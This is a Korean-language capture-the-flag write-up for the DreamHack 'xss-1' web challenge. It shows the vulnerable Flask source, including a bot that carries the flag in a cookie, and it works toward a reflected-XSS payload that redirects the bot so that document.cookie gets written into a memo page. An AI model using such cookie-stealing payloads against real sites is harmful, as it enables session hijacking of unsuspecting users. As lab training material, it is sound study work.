WriteUp/DreamHack

DreamHack : xss-1

vared 2020. 11. 23. 13:26

일단 3개의 페이지가 나오는데 돌아가면서 구경을 좀 했다.

xss는 코드를 주입하는 부분이고, memo는 입력된 코드를 볼수 있는데 flag에서 입력을 하면 다 hello로 나온다.

memo 에 가서 hello 대신 스크립트를 넣어주면 되겠다고 생각했다

?memo = <script>alert(FLAG);</script> 이렇게 넣어주려고 했는데, 해당 문자열이 필터링 당하는 것 같다.

"<" --> "&lt;" 로 변경된다. 이걸 인코딩해서 보내주면 해결할 수 있다고 한다.

?memo=%26%23x003C;script%26%23x003E;alert(FLAG)%26%23x003C;/script%26%23x003E;

이것도 이상하게 나와서 주어진 코드를 볼 필요가 있다고 생각했다.

코드를 보자.

#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for, session, g
from selenium import webdriver
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open('./flag.txt', 'r').read()
except:
    FLAG = '[**FLAG**]'

def read_url(url, cookie={'name': 'name', 'value': 'value'}):
    #url = <script>document.location.href="http://host1.dreamhack.games:17868/memo?memo=12"</script>
    cookie.update({'domain':'127.0.0.1'})
    try:
        options = webdriver.ChromeOptions()
        for _ in ['headless', 'window-size=1920x1080', 'disable-gpu', 'no-sandbox', 'disable-dev-shm-usage']:
            options.add_argument(_)
        driver = webdriver.Chrome('/chromedriver', options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get('http://127.0.0.1:8000/')
        driver.add_cookie(cookie)
        driver.get(f'http://127.0.0.1:8000/xss?xss={urllib.parse.quote(url)}') # url encoding & 
    except:
        driver.quit()
        return False
    driver.quit()
    return True

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/xss')
def xss():
    xss = request.args.get('xss', '')
    return xss

@app.route('/flag', methods=['GET', 'POST'])
def flag():
    if request.method == 'GET':
        return render_template('flag.html')
    elif request.method == 'POST':
        xss = request.form.get('xss')
        #read_url(url,cookie)
        if not read_url(xss, {'name': 'flag', 'value': FLAG}):
            #read_url("host1.dreamhack.games:13714/memo?memo=<script>alert("1")</script>",{'name':'flag','value':FLAG})
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'

memo_text = ''
@app.route('/memo')
def memo():
    global memo_text
    text = request.args.get('memo', None)
    if text:
        memo_text += text.replace('<', '&lt;') + '\n'
    return render_template('memo.html', memo=memo_text)

app.run(host='0.0.0.0', port=8000)

서버사이드에서 memo에 무언가를 적어주는 기능을 한다. --> read_url() 함수.

즉 우리는 해당 함수가 있는 /flag 부분에서 xss 작업을 해줘야 한다.

read_url 함수를 읽어보면 쿠키값을 입력해 주는데, 우리가 원하는 flag 값은 쿠키에 들어있다. 즉 우리는 쿠키값을 출력해서 memo에 적히도록 해야한다. 

쿠키값을 출력하는 것은 document.cookie로 해결하고 이제 메모에 적히도록 하려면, 메모에 이동해야 한다.

즉 쿼리가 다음과 같아야 한다.

<script>window.location.href=dreamhack.games:_____/memo?memo=''+document.cookie;</script> 로 주어야 한다.

DH{<-----flag----->}